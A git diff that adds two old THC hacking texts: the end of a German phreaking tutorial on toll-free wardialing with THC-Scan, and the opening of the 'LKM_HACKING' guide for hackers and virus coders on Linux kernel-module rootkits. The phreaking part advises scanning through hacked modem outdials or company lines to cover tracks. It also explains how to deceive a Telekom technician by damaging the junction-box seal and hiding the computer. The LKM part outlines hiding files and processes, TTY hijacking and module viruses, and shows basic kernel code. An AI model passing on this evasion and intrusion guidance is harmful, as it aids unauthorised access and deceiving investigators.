VOICE -> Stimme, CONNECT -> Modem, etc. + Allerdings speichern die meisten Programme nur CONNECT -> Modem. + Toneloc und THC-Scan unterstuetzen ausserdem auch PBX-Scanning. + Da sich haeufig die PBXen am Anfang mit einem waehltonaehnlichen Ton melden + wird das ausgenutzt, indem man dem Modem den Befehl "ATDT0130800000W;" + sendet zum anrufen. Wenn nun ein OK als Antwort kommt hat man eine PBX + gefunden, wenn ein NO CARRIER kommt, oder die Zeit ueberschritten wurde + war es irgendetwas anderes. Allerdings findet man damit nicht nur PBXen + sondern auch Modems, die sich versuchen zu initialsieren und dann auch einen + Ton angeben der einem Waehlton aehnelt. So kann man also den Computer + alleine nach Modems und PBXs scannen lassen. + Angemerkt werden soll noch, dass manche PBXen sich auch nur so aeussern, + das sie still sind, um solche zu finden muss man "ATDT0130800000@;" senden, + allerdings fuehrt es haeufig zu einer falschen Identifikation. + Wie ihr seht, arbeiten solche Programme recht simpel und erst + Sonderfunktionen machen etwas Programmieraufwand. Wer also was ganz + spezielles braucht, kann es sich leicht selber programmieren. + + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ Tips & Trick zum Scannen ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + þ Manche Firmen haben Nachts statt ihrer Beratungshotline eine VMB + laufen, also lohnt es sich sehr wenn man nachts scanned. + þ Die Bereiche zum scannen sind riesig, ihr habt also nicht nur mehr + davon wenn ihr euch zu ScanTeams zusammentut, sondern lernt ausserdem + noch voneinander und seid nicht alleine. + þ Wenn man Probleme mit einem Modem/Programm hat, dass es nicht laeuft, + einfach vorher einen Fossil Treiber (z.B. x00-202.zip) laden. Wenn + das Programm einen solchen ausserdem noch direkt unterstuetzt, dass im + Programm anwaehlen. + þ Random/Zufaellig oder Sequentiell waehlen : Random ist unauffaelliger, + Sequentiell lohnt es sich zu scannen wenn man davor sitzt, weil man + dann z.B. ein Gefuehl ueber die Verteilung von Nummern bekommt und + ausserdem bemerkt wenn eine Firma mehrere Nummern hintereinander belegt + hat. + þ Wenn das Modem eine VOICE Antwort zurueckgibt, bevor auch nur die + Zielnummer was hineingesprochen haben koennte, dann reagiert das Modem + sehr anfaellig auf Rauschen und Stoergeraeusche. Du solltest also bei + der Dialmask des Nummernbereiches den du scannst ein ",," anhaengen, + also z.B. "0130-80xxxx,," + þ selbiges wenn man Tone-Scanning macht, und zu frueh ein OK zurueckgegeben + wird. + + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ Tips zum Benutzen erweiterter Funktionen von THC-Scan ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + Mehr zu den jeweiligen Punkten in der Dokumentation von THC-Scan + (thc-scan.doc) + + þ Man kann aus interessanten Textfiles, Word-Dokumenten etc. etc. + die Telefonnummern extrahieren (mit extr-no.exe) und sie dann mit + der Funktion "Scannen von einer Liste" von THC-Scan inspizieren. + þ Wer 2+ Telefonleitungen und Modems hat, kann mit Hilfe der Batchdatei + netscan.bat einfach ueber einen Multitasker, oder im Netz verbundenen + Rechnern. + þ Man man sich einen Modemoutdial gehackt hat (z.B. im Internet), kann man + mit dem Kommandozeilenparameter -o diesen zum Scannen benutzen. + Verwischt gut die Spuren, ausserdem kann man so leicht und kostenguenstig + Bereiche abscannen die einen sonst etwas kosten wuerden. + þ Wer noch Blueboxen kann und will und auch erfolgreich ist, kann den + besten BB Dialer fuer PCs, den SCAVENGER DIALER (aktuelle Version v0.91) + mit dem THC-Scan koppeln, den Scavenger Dialer waehlen lassen und THC-Scan + zum Identifizieren benutzen. + Aber auch jedes andere Programm kann man das waehlen ueberlassen, z.B. + einer Blackbox. + þ Bei dem "Autonomen Modus" kann man Ziffern etc. nachwaehlen, was sehr + interessant ist, um eine VMB oder PBX schonmal schnell abzuscannen + þ Der beste NUDGE String ist + ^~^~^!^~^M^~^M^~^guest^M^~^~guest^M^~^~info^M^~help^M^~^~^~^]^~^M^~^D^~ + .^M^~@^M^~^A^A^A^~^B^C^E^F^G^H^I^J^K^L^~^N^O^P^Q^R^S^T^U^V^W^X^Y^Z^[^\^~ + þ Eine Nummer die schon etwas zurueck liegt nochmal anwaehlen? Einfach + druecken + þ Mit S kann man zu einer Nummer eine Notiz schreiben, was sehr nuetzlich + ist. Wenn man *jede* Nummer die man anwaehlt kommentieren will, einfach + Alt-S druecken. + þ Wenn man eine ganze zeitlang gescanned hat, und viele Nummern Busy waren, + und man diese nun nicht mehr scannen will um fertig zu werden, einfach + Alt-N druecken. + þ Wenn man einen Carrier gefunden hat, und sieht wie der Nudge eingegeben + wird plus die Ausgabe des Modems, und dann eingreifen will, einfach Alt-T + druecken und selbst Hand anlegen. + þ Wer ein gutes Modem besitzt kann im TS-CFG die Modem Controlling Option + FAST statt SECURE einstellen, was das scannen beschleunigt. + þ Dessen Herz eher an Linux oder FreeBSD/OpenBSD haengt: Man kann THC-Scan + wunderbar im Dosemu laufen lassen. Auch mit MsDos Multitaskern gibt es + keine Probleme, nur bei Win95 sollte man erst das MsDos aufrufen. + þ ... Es gibt noch soviele Funktionen und Optionen, man sollte sich + unbedingt die komplette Dokumentation durchlesen und Notizen machen. + + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ Die Gefahren des Scannens ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + Kommen wir nun zu einen sehr interessanten Punkt : Was kann mir beim + 0130 Scanning eigentlich passieren ? + Solange ihr nicht anfangt Nummern zu hacken von der rechtlichen Seite + her gesehen nichts. + Obwohl die Telekom am Scanning ja selbst verdient scheint es ihr jedoch + nicht recht zu sein : Seit jeher hat die Telekom versucht, Leute die viel + scannen zu stoeren. + Ich kenne 2 Leute, die sehr viel gescanned haben, und bei denen es irgend- + wann anfing, dass sie nach Anwahl jeder 2. Telefonnnummer nach den ersten + Ziffern sofort ein Besetztzeichen bekamen, sobald sie mit dem Scanning + anfingen. + Die Telekom tut ausserdem sofort bei Verdacht die Leitungen ueberwachen; + im Fall "Luzifer" in Muenchen hatte dieser eine grosse Anzahl von Telefon- + leitungen bei der Telekom geordert was diese verdaechtig fanden. Also + hoerten sie seine Leitungen ab und protokollierten alles. + + Inzwischen muss die Telekom aber nicht mehr soviel Handarbeit machen, + durch ihr Ueberwachungssystem und modernen Vermittlungsstellen kann + sie Scanning identifizieren und Massnahmen einleiten. + Mehr ueber dieses System in DIESEM MAGAZIN (c7-ueber.thc). + Das es eingesetzt wird und auch wirkt laesst sich schoen an einem Fall + zeigen, der gerade einmal 3 Wochen zurueck liegt : + Ein Freund hatte wieder exzessives 0130 Scanning betrieben, so ca. + 6 Stunden von 3:00 bis 9:00 morgens. Um 10:00 klingelte das Telefon + und eine Telekom-Operator war am Apparat und sagte, dass von dem Anschluss + sehr viele Telefonnummern angerufen wurden, dass die Leitung sofort + gesperrt wird und erst nach dem Besuch von einem Techniker wieder frei- + gegeben wird. Der kam 2 Tage spaeter, hatte Leitungsmessungen durchgefuehrt + ob irgendwo eine Unterbrechung ist und ist dann wieder verschwunden. + + Was kann ich machen, um das Risiko der Entdeckung meines Scannings zu + minimieren? + þ Scanne tagsueber, damit deine Anrufe in dem normalen Telefonver- + kehr nicht so auffallen. + þ Scanne nicht viele Nummern, ca. 100-300 sollten kein Problem sein. + þ Wer kann, sollte das Scanning von dem Anschluss einer Firma aus + machen und sich dabei nicht erwischen lassen. + þ Die Nummern nach dem Zufallsprinzip anrufen, nicht der Reihe nach. + þ Man sollte moeglichst nicht ueber eine ISDN Leitung Scannen, + denn wenn man entdeckt wird ist es unwahrscheinlich, dass man der + Telekom glauben machen kann jemand haette an der Leitung + manipuliert (Durch das ISDN Protokoll kommt sofort ein Alarm, + wenn die Leitung unterbrochen wird, und das wird geloggt.) + þ THC-Scan : + Benutze die DIAL_SPEED_DELAY und SEND_SPEED_DELAY Funktion im + THC-Scan um so zu tun, als wuerde kein Computer waehlen sondern + ein Mensch. Setze ausserdem den Wert fuer WAIT_BETWEEN_CALL + auf ca. 50000. (Die 3 Sachen sind im TS-CFG zu aendern.) + Das alles wird den Scanvorgang sehr stark verlangsamen, aber wenn + man eh nur 100-300 Nummern waehlen will und nur den Computer allein + scannen lassen will, laesst sich das leicht machen waehrend man + bei der Arbeit/Schule ist, der THC-Scan unterstuetzt alle + Funktionen fuer automatischen Start/Ende/Anzahl von Anrufen. + Folgende Kommandozeile wuerde um 10:00 morgens anfangen, 300 + Nummern waehlen und sich dann beenden : + thc-scan.exe 80-xxxx.dat -m:0130-80xxxx -s:10:00 -#:300 + Ausserdem hat der THC-Scan seit Version v1.4 ein Jamming Detection, + also wenn die Telekom versucht die Leitung zu stoeren. Mehr + dazu in der Dokumentation. + + Was soll ich tun wenn ich entdeckt wurde, und ein Telekom Techniker kommt? + þ Behalt die Nerven - du weisst von nix. + þ Bevor der Techniker kommt, versuche den Weg Verteilerkasten unten + bei dir im Keller so vozubereiten, dass der Techniker den Eindruck + bekommt, dass jeder ohne Probleme an den Kasten gehen koennte. + Also sich jemand anderes wahrscheinlich in deine Leitung geklinkt + hat ... z.B. die Kellertuer offenlassen, das Siegel falls eines + am Verteilerkasten ist beschaedigen, etc. etc. + þ Vielleicht will er sich die Anschluesse in der Wohnung ansehen, + also am besten den Computer vorher zu den Nachbarn stellen, + ("Ich will bei mir was streichen und alles ist schon vollgestellt") + die Luecken auffuellen so dass nicht auffaellt, dass etwas fehlt. + þ Das Scanning danach fuer einige Zeit sein lassen, ggf. die Leitung + abmelden und sofort eine neue beantragen. + + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ Schlusswort ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + Wir sind am Ende angelangt, jeder wird nun genug wissen, um sich daran + einmal ausprobieren zu koennen. + Noch einen letzten Tip: Es lohnt sich auch nicht nur 0130 Nummern zu + scannen, sondern auch den Firmenbereich im Ort ... ;-) + Ich hoffe dass es den vielen Anfaengern hilft Fuss zu fassen und sie sich + entwickeln koennen, damit die deutsche Szene nicht stirbt. + + Ciao... + van Hauser / THC + + \ No newline at end of file diff --git a/Papers/LKM_HACKING.html b/Papers/LKM_HACKING.html new file mode 100644 index 0000000..b816f1f --- /dev/null +++ b/Papers/LKM_HACKING.html @@ -0,0 +1,7959 @@ + +(nearly) Complete Linux Loadable Kernel Modules + +
+

+ (nearly) Complete Linux Loadable Kernel Modules +

+ + +

+ -the definitive guide for hackers, virus coders and system administrators- +

+ +
+

+

+written by pragmatic / THC, version 1.0
+released 03/1999
+

+ +

+ +

+

+ CONTENTS +

+
+ + +Introduction
+

+ +I. Basics
+
+1. What are LKMs
+2. What are Syscalls
+3. What is the Kernel-Symbol-Table
+4. How to transform Kernel to User Space Memory
+5. Ways to use user space like functions
+6. List of daily needed Kernelspace Functions
+7. What is the Kernel-Daemon
+8. Creating your own Devices
+

+ +II. Fun & Profit
+
+1. How to intercept Syscalls
+2. Interesting Syscalls to Intercept
+

2.1 Finding interesting systemcalls (the strace approach)
+3. Confusing the kernel's System Table
+4. Filesystem related Hacks
+
4.1 How to Hide Files
+
4.2 How to hide the file contents (totally)
+
4.3 How to hide certain file parts (a prototype implementation)
+
4.4 How to monitor redirect file operations
+
4.5 How to avoid any file owner problems
+
4.6 How to make a hacker-tools-directory unaccessible
+
4.7 How to change CHROOT Environments
+5. Process related Hacks
+
5.1 How to hide any process
+
5.2 How to redirect Execution of files
+6. Network (Socket) related Hacks
+
6.1 How to controll Socket Operations
+7. Ways to TTY Hijacking
+8. Virus writing with LKMs
+
8.1 How a LKM virus can infect any file (not just modules; prototype)
+
8.2 How can a LKM virus help us to get in
+9. Making our LKM invisible & unremovable
+10.Other ways of abusing the Kerneldaemon
+11.How to check for presents of our LKM
+

+ +III. Soltutions (for admins)
+
+1. LKM Detector Theory & Ideas
+

1.1 Practical Example of a prototype Detector
+
1.2 Practical Example of a prototype password protected create_module(...)
+2. Anti-LKM-Infector ideas
+3 Make your programs untraceable (theory)
+
3.1 Practical Example of a prototype Anti-Tracer
+4. Hardening the Linux Kernel with LKMs
+
4.1 Why should we allow arbitrary programs execution rights? + (route's idea from Phrack implemented as LKM)
+
4.2 The Link Patch + (Solar Designer's idea from Phrack implemented as LKM)
+
4.3 The /proc permission patch + (route's idea from Phrack implemented as LKM)
+
4.4 The securelevel patch + (route's idea from Phrack implemented as LKM)
+
4.5 The rawdisk patch
+

+ +IV. Some Better Ideas (for hackers)
+
+1. Tricks to beat admin LKMs
+2. Patching the whole kernel - or creating the Hacker-OS
+

2.1 How to find kernel symbols in /dev/kmem
+
2.2 The new 'insmod' working without kernel support
+3. Last words
+

+ +V. The near future : Kernel 2.2
+
+1. Main Difference for LKM writer's
+

+ +VI. Last Words
+
+1. The 'LKM story' or 'how to make a system plug & hack compatible'
+2. Links to other Resources
+

+Acknowledgements
+

+Greets
+

+ +Appendix
+
+

+ +A - Source Codes
+
+ +

a) LKM Infection by Stealthf0rk/SVAT
+
b) Heroin - the classic one by Runar Jensen
+
c) LKM Hider / Socket Backdoor by plaguez
+
d) LKM TTY hijacking by halflife
+
e) AFHRM - the monitor tool by Michal Zalewski
+
f) CHROOT module trick by FLoW/HISPAHACK
+
g) Kernel Memory Patching by ?
+
h) Module insertion without native support by Silvio Cesare
+ +

+


+

+ +

+

Introduction

+

+ +The use of Linux in server environments is growing from second to second. So +hacking Linux becomes more interesting every day. One of the best techniques to +attack a Linux system is using kernel code. Due to its feature called Loadable +Kernel Modules (LKMs) it is possible to write code running in kernel space, which +allows us to access very sensitive parts of the OS. There were some texts and +files concerning LKM hacking before (Phrack, for example) which were very good. +They introduced new ideas, new methodes and complete LKMs doing anything a +hacker ever dreamed of. Also some public discussion (Newsgroups, Mailinglists) +in 1998 were very interesting.
+So why do I write again a text about LKMs. Well there are several reasons : +

    +
  • former texts did sometimes not give good explanations for kernel beginners; + this text has a very big basic section, helping beginners to understand the + concepts. I met lots of people using nice exploits/sniffers and so on without + even understanding how they work. I included lots of source code in this file + with lots of comments, just to help those beginners who know that hacking is + more than playing havoc on some networks out there !
    +
  • every published text concentrated on a special subject, there was no complete + guide for hackers concerning LKMs. This text will cover nearly every aspect of + kernel abusing (even virus aspects)
    +
  • this texts was written from the hacker / virus coder perspective, but it will + also help admins and normal kernel developers doing a better job
    +
  • former text showed us the main advantages / methods of abusing LKMs, but + there are some things which we have not heard of yet. This text will show + some new ideas (nothing totally new, but things which could help us)
    +
  • this text will show concepts of some simple ways to protect from LKM attacks
    +
  • this text will also show how to defeat LKM protections by using methods like + Runtime Kernel Patching
    +
+ +Please remember that new ideas are implemented as prototype modules (just for +demonstration) which have to be improved in order to use them in the wild.
+The main motivation of this text is giving everyone one big text covering the +whole LKM problem. In appendix A I give you some existing LKMs plus a short +description of their working (for beginners) and ways to use them.
+The whole text (except part V) is based on a Linux 2.0.x machine (x86).I tested +all programs and code fragments. The Linux system must have LKM support for +using most code examples in this text. Only part IV will show some sources +working without native LKM support. Most ideas in this text will also work on +2.2.x systems (perhaps you'll need some minor modification); but recall that +kernel 2.2.x was just released (1/99) and most linux distribution still use +2.0.x (Redhat, SuSE, Caldera, ...). In April some some distributors like SuSE +will present their kernel 2.2.x versions; so you won't need to know how to hack +a 2.2.x kernel at the moment. Good administrators will also wait some months +in order to get a more reliable 2.2.x kernel. [Note : Most systems just don't +need kernel 2.2.x so they will continue using 2.0.x].
+This text has a special section dealing with LKMs helping admins to secure the +system. You (hacker) should also read this section, you must know everything +the admins know and even more. You will also get some nice ideas from that +section that could help you develope more advanced 'hacker-LKMs'. Just read the +whole text !
+And please remember : This text was only written for educational purpose. Any +illegal action based on this text is your own problem.
+ + + +

I. Basics

+
+

+

1. What are LKMs

+ + +LKMs are Loadable Kernel Modules used by the Linux kernel to expand his +functionality. The advantage of those LKMs : The can be loaded dynamically; +there must be no recompilation of the whole kernel. Because of those features +they are often used for specific device drivers (or filesystems) such as +soundcards etc.
+Every LKM consist of two basic functions (minimum) : + +int init_module(void) /*used for all initialition stuff*/ +{ + +... +} + +void cleanup_module(void) /*used for a clean shutdown*/ +{ +... +} + + +Loading a module - normally retricted to root - is managed by issuing the +follwing command: + + +# insmod module.o + + +This command forces the System to do the following things : +
    +
  • Load the objectfile (here module.o)
    +
  • call create_module systemcall (for systemcalls -> see I.2) for Relocation of + memory
    +
  • unresolved references are resolved by Kernel-Symbols with the systemcall + get_kernel_syms
    +
  • after this the init_module systemcall is used for the LKM initialisation + -> executing int init_module(void) etc.
    +
+The Kernel-Symbols are explained in I.3 (Kernel-Symbol-Table).
+So I think we can write our first little LKM just showing how it basicly works: + + +#define MODULE +#include <Linux/module.h> + +int init_module(void) +{ + printk("<1>Hello World\n"); + return 0; +} + +void cleanup_module(void) +{ + printk("<1>Bye, Bye"); +} + + +You may wonder why I used printk(...) not printf(...). Well Kernel-Programming +is totally different from Userspace-Programming !
+You only have a very restricted set of commands (see I.6). With those commands +you cannot do much, so you will learn how to use lots of functions you know from +your userspace applications helping you hacking the kernel. Just be patient, we +have to do something else before...
+The Example above can easily compiled by + + +# gcc -c -O3 helloworld.c +# insmod helloworld.o + + +Ok, our module is loaded and showed us the famous text. Now you can check some +commands showing you that your LKM really stays in kernel space.
+ + +# lsmod +Module Pages Used by +helloworld 1 0 + + +This command reads the information in /proc/modules for showing you which +modules are loaded at the moment. 'Pages' is the memory information (how many +pages does this module fill); the 'Used by' field tells us how often the module +is used in the System (reference count). The module can only be removed, when +this counter is zero; after checking this, you can remove your module with + + +# rmmod helloworld + + +Ok, this was our first little (very little) step towards abusing LKMs. I always +compared those LKMs to old DOS TSR Programs (yes there are many differences, +I know), they were our gate to staying resident in memory and catching every +interrupt we wanted. Microsoft's WIN 9x has something called VxD, which is +also similar to LKMs (also many differences). The most interesting part of +those resident programs is the ability to hook system functions, in the Linux +world called systemcalls.
+ + +

2. What are systemcalls

+ +I hope you know, that every OS has some functions build into its kernel, which +are used for every operation on that system.
+The functions Linux uses are called systemcalls. They represent a transition +from user to kernel space. Opening a file in user space is represented by the +sys_open systemcall in kernel space. For a complete list of all systemcalls +available on your System look at /usr/include/sys/syscall.h. The following list +shows my syscall.h + + +#ifndef _SYS_SYSCALL_H +#define _SYS_SYSCALL_H + +#define SYS_setup 0 /* Used only by init, to get system going. */ +#define SYS_exit 1 +#define SYS_fork 2 +#define SYS_read 3 +#define SYS_write 4 +#define SYS_open 5 +#define SYS_close 6 +#define SYS_waitpid 7 +#define SYS_creat 8 +#define SYS_link 9 +#define SYS_unlink 10 +#define SYS_execve 11 +#define SYS_chdir 12 +#define SYS_time 13 +#define SYS_prev_mknod 14 +#define SYS_chmod 15 +#define SYS_chown 16 +#define SYS_break 17 +#define SYS_oldstat 18 +#define SYS_lseek 19 +#define SYS_getpid 20 +#define SYS_mount 21 +#define SYS_umount 22 +#define SYS_setuid 23 +#define SYS_getuid 24 +#define SYS_stime 25 +#define SYS_ptrace 26 +#define SYS_alarm 27 +#define SYS_oldfstat 28 +#define SYS_pause 29 +#define SYS_utime 30 +#define SYS_stty 31 +#define SYS_gtty 32 +#define SYS_access 33 +#define SYS_nice 34 +#define SYS_ftime 35 +#define SYS_sync 36 +#define SYS_kill 37 +#define SYS_rename 38 +#define SYS_mkdir 39 +#define SYS_rmdir 40 +#define SYS_dup 41 +#define SYS_pipe 42 +#define SYS_times 43 +#define SYS_prof 44 +#define SYS_brk 45 +#define SYS_setgid 46 +#define SYS_getgid 47 +#define SYS_signal 48 +#define SYS_geteuid 49 +#define SYS_getegid 50 +#define SYS_acct 51 +#define SYS_phys 52 +#define SYS_lock 53 +#define SYS_ioctl 54 +#define SYS_fcntl 55 +#define SYS_mpx 56 +#define SYS_setpgid 57 +#define SYS_ulimit 58 +#define SYS_oldolduname 59 +#define SYS_umask 60 +#define SYS_chroot 61 +#define SYS_prev_ustat 62 +#define SYS_dup2 63 +#define SYS_getppid 64 +#define SYS_getpgrp 65 +#define SYS_setsid 66 +#define SYS_sigaction 67 +#define SYS_siggetmask 68 +#define SYS_sigsetmask 69 +#define SYS_setreuid 70 +#define SYS_setregid 71 +#define SYS_sigsuspend 72 +#define SYS_sigpending 73 +#define SYS_sethostname 74 +#define SYS_setrlimit 75 +#define SYS_getrlimit 76 +#define SYS_getrusage 77 +#define SYS_gettimeofday 78 +#define SYS_settimeofday 79 +#define SYS_getgroups 80 +#define SYS_setgroups 81 +#define SYS_select 82 +#define SYS_symlink 83 +#define SYS_oldlstat 84 +#define SYS_readlink 85 +#define SYS_uselib 86 +#define SYS_swapon 87 +#define SYS_reboot 88 +#define SYS_readdir 89 +#define SYS_mmap 90 +#define SYS_munmap 91 +#define SYS_truncate 92 +#define SYS_ftruncate 93 +#define SYS_fchmod 94 +#define SYS_fchown 95 +#define SYS_getpriority 96 +#define SYS_setpriority 97 +#define SYS_profil 98 +#define SYS_statfs 99 +#define SYS_fstatfs 100 +#define SYS_ioperm 101 +#define SYS_socketcall 102 +#define SYS_klog 103 +#define SYS_setitimer 104 +#define SYS_getitimer 105 +#define SYS_prev_stat 106 +#define SYS_prev_lstat 107 +#define SYS_prev_fstat 108 +#define SYS_olduname 109 +#define SYS_iopl 110 +#define SYS_vhangup 111 +#define SYS_idle 112 +#define SYS_vm86old 113 +#define SYS_wait4 114 +#define SYS_swapoff 115 +#define SYS_sysinfo 116 +#define SYS_ipc 117 +#define SYS_fsync 118 +#define SYS_sigreturn 119 +#define SYS_clone 120 +#define SYS_setdomainname 121 +#define SYS_uname 122 +#define SYS_modify_ldt 123 +#define SYS_adjtimex 124 +#define SYS_mprotect 125 +#define SYS_sigprocmask 126 +#define SYS_create_module 127 +#define SYS_init_module 128 +#define SYS_delete_module 129 +#define SYS_get_kernel_syms 130 +#define SYS_quotactl 131 +#define SYS_getpgid 132 +#define SYS_fchdir 133 +#define SYS_bdflush 134 +#define SYS_sysfs 135 +#define SYS_personality 136 +#define SYS_afs_syscall 137 /* Syscall for Andrew File System */ +#define SYS_setfsuid 138 +#define SYS_setfsgid 139 +#define SYS__llseek 140 +#define SYS_getdents 141 +#define SYS__newselect 142 +#define SYS_flock 143 +#define SYS_syscall_flock SYS_flock +#define SYS_msync 144 +#define SYS_readv 145 +#define SYS_syscall_readv SYS_readv +#define SYS_writev 146 +#define SYS_syscall_writev SYS_writev +#define SYS_getsid 147 +#define SYS_fdatasync 148 +#define SYS__sysctl 149 +#define SYS_mlock 150 +#define SYS_munlock 151 +#define SYS_mlockall 152 +#define SYS_munlockall 153 +#define SYS_sched_setparam 154 +#define SYS_sched_getparam 155 +#define SYS_sched_setscheduler 156 +#define SYS_sched_getscheduler 157 +#define SYS_sched_yield 158 +#define SYS_sched_get_priority_max 159 +#define SYS_sched_get_priority_min 160 +#define SYS_sched_rr_get_interval 161 +#define SYS_nanosleep 162 +#define SYS_mremap 163 +#define SYS_setresuid 164 +#define SYS_getresuid 165 +#define SYS_vm86 166 +#define SYS_query_module 167 +#define SYS_poll 168 +#define SYS_syscall_poll SYS_poll + +#endif /* <sys/syscall.h> */ + + +Every systemcall has a defined number (see listing above), which is actually +used to make the systemcall.
+The Kernel uses interrupt 0x80 for managing every systemcall. The systemcall +number and any arguments are moved to some registers (eax for systemcall number, +for example).
+The systemcall number is an index in an array of a kernel structure called +sys_call_table[]. This structure maps the systemcall numbers to the needed +service function.
+Ok, this should be enough knowledge to continue reading. The following table +lists the most interesting systemcalls plus a short description. +Believe me, you have to know the exact working of those systemcalls in order to +make really useful LKMs.
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
systemcalldescription
int sys_brk(unsigned long new_brk);changes the size of used DS (data segment) + ->this systemcall will be discussed in I.4
int sys_fork(struct pt_regs regs);systemcall for the well-know fork() function in user space
int sys_getuid +()
+int sys_setuid +(uid_t uid)
+...
systemcalls for managing UID etc.
int sys_get_kernel_sysms(struct kernel_sym *table)systemcall for accessing the kernel system table (-> I.3)
int sys_sethostname +(char *name, + int len);
+int sys_gethostname +(char *name, + int len);
sys_sethostname is responsible for setting the hostname, and sys_gethostname for retrieving +it
int sys_chdir +(const char *path);
+int sys_fchdir +(unsigned int fd);
both function are used for setting the current directory (cd ...)
int sys_chmod +(const char + *filename, mode_t + mode);
+int sys_chown +(const char + *filename, mode_t + mode);
+int sys_fchmod +(unsigned int + fildes, mode_t + mode);
+int sys_fchown +(unsigned int + fildes, mode_t + mode);
functions for managing permissions and so on
int sys_chroot +(const char + *filename);sets root directory for calling process
int sys_execve +(struct pt_regs regs);important systemcall -> it is responsible for executing file (pt_regs is the register stack)
long sys_fcntl +(unsigned int fd, + unsigned int cmd, + unsigned long arg);changing characteristics of fd (opened file descr.)
int sys_link +(const char *oldname, + const char *newname);
+int sym_link +(const char *oldname, + const char *newname);
+int sys_unlink +(const char *name);
systemcalls for hard- / softlinks management
int sys_rename +(const char *oldname, + const char *newname);file renaming
int sys_rmdir +(const char* name);
+int sys_mkdir +(const *char filename, + int mode);
creating & removing directories
int sys_open +(const char *filename, +int mode);
+int sys_close +(unsigned int fd);
everything concering opening files (also creation), and also closing them
int sys_read +(unsigned int fd, + char *buf, unsigned int + count);
+int sys_write +(unsigned int fd, + char *buf, unsigned int + count);
systemcalls for writing & reading from Files
int sys_getdents +(unsigned int fd, + struct dirent *dirent, + unsigned int count);systemcall which retrievs file listing (ls ... command)
int sys_readlink +(const char *path, + char *buf, int bufsize);reading symbolic links
int sys_selectt +(int n, fd_set *inp, +fd_set *outp, fd_set + *exp, struct timeval + *tvp);multiplexing of I/O operations
sys_socketcall +(int call, unsigned long + args);socket functions
unsigned long +sys_create_module +(char *name, unsigned +long size);
+int sys_delete_module +(char *name);
+int sys_query_module +(const char *name, + int which, + void *buf, + size_t bufsize, + size_t *ret);
used for loading / unloading LKMs and querying
+ +In my opinion these are the most interesting systemcalls for any hacking +intention, of course it is possible that you may need something special on your +rooted system, but the average hacker has a plenty of possibilities with the +listing above. In part II you will learn how to use the systemcalls for your +profit. + + +

3. What is the Kernel-Symbol-Table

+ +Ok, we understand the basic concept of systemcalls and modules. But there is +another very important point we need to understand - the Kernel Symbol Table. +Take a look at /proc/ksyms. Every entry in this file represents an exported +(public) Kernel Symbol, which can be accessed by our LKM. Take a deep look +in that file, you will find many interesting things in it.
+This file is really very interesting, and can help us to see what our LKM can +get; but there is one problem. Every Symbol used in our LKM (like a function) is +also exportet to the public, and is also listed in that file. So an experienced +admin could discover our little LKM and kill it.
+There are lots of methods to prevent the admin from seeing our LKM, look at +section II.
+The methods mentioned in II can be called 'Hacks', but when you take a look at +the contents of section II you won't find any reference to 'Keeping LKM Symbols +out of /proc/ksyms'. The reason for not mentioning this problem in II is the +following :
+you won't need a trick to keep your module symbols away from /proc/ksyms. +LKM devolopers are able to use the following piece of regular code to limit the +exported symbols of their module:
+ + +static struct symbol_table module_syms= { /*we define our own symbol table !*/ + #include <linux/symtab_begin.h> /*symbols we want to export, do we ?*/ + ... +}; + +register_symtab(&module_syms); /*do the actual registration*/ + + +As I said, we don't want to export any symbols to the public, so we use the +following construction : + + +register_symtab(NULL); + + +This line must be inserted in the init_module() function, remember this ! + + +

4. How to transform Kernel to User Space Memory

+ +Till now this essay was very very basic and easy. Now we come to stuff +more difficult (but not more advanced).
+We have many advantages because of coding in kernel space, but we also have some +disadvantages. systemcalls get their arguments from user space (systemcalls are +implemented in wrappers like libc), but our LKM runs in kernel space. In section +II you will see that it is very important for us to check the arguments of +certain systemcalls in order to act the right way. But how can we access an +argument allocated in user space from our kernel space module ? +
Solution : We have to make a transition.
+This may sound a bit strange for non-kernel-hackers, but is really easy. Take +the following systemcall :
+ + +int sys_chdir (const char *path) + + +Imagine the system calling it, and we intercept that call (we will learn this in +section II). We want to check the path the user wants to set, so we have to +access const char *path. If you try to access the path variable directly like + + +printk("<1>%s\n", path); + + +you will get real problems...
+Remember you are in kernel space, you cannot read user space memory easily. +Well in Phrack 52 you get a solution by plaguez, which is specialized for strings +He uses a kernel mode function (macro) for retrieving user space memory bytes : + + +#include <asm/segment.h> + +get_user(pointer); + + +Giving this function a pointer to our *path location helps ous getting the bytes +from user space memory to kernel space. Look at the implemtation made by plaguez +for moving strings from user to kernel space:
+ + +char *strncpy_fromfs(char *dest, const char *src, int n) +{ + char *tmp = src; + int compt = 0; + + do { + dest[compt++] = __get_user(tmp++, 1); + } + while ((dest[compt - 1] != '\0') && (compt != n)); + + return dest; +} + + +If we want to convert our *path variable we can use the following piece of kernel +code : + + + char *kernel_space_path; + + kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /*allocating memory + in kernel space*/ + (void) strncpy_fromfs(test, path, 20); /*calling plaguez's + function*/ + printk("<1>%s\n", kernel_space_path); /*now we can use + the data for whatever we + want*/ + kfree(test); /*remember freeing the + memory*/ + + +The code above works very fine. For a general transition it is too complicated; +plaguez used it only for strings (the functions is made only for string copies). +For normal data transitions the following function is the easiest way of doing: + + +#include <asm/segment.h> +void memcpy_fromfs(void *to, const void *from, unsigned long count); + + + +Both functions are obviously based on the same kind of commands, but the second +one is nearly the same as 